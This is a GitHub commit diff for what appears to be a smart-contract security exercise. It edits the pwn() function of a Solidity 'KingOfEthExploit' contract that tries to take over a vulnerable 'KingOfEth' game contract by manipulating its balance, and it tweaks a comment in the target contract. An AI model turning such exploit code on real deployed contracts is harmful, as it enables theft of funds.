Skip to content

Commit

Permalink
feat: update contract comments
Browse files Browse the repository at this point in the history
  • Loading branch information
ialmanzaj committed Oct 16, 2023
1 parent dc875b1 commit fe74dc2
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 3 deletions.
6 changes: 4 additions & 2 deletions src/kingofeth/Exploit.sol
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,11 @@ contract KingOfEthExploit {
}

function pwn() external payable {
// write your code here
// King contract balance
uint256 balance = address(target).balance;
address(target).call{value: balance}("");
// get balance from king contract
(bool sent,) = address(target).call{value: balance}("");
require(sent, "cant get eth from contract");
target.play{value: balance + 1 ether}();
}
}
2 changes: 1 addition & 1 deletion src/kingofeth/KingOfEth.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ contract KingOfEth {
address payable public king;

function play() external payable {
// previous balance = current balance - ETH sent
// previous balance = current_balance - ETH sent
uint256 bal = address(this).balance - msg.value;
require(msg.value > bal, "need to pay more to become the king");

Expand Down

0 comments on commit fe74dc2

Please sign in to comment.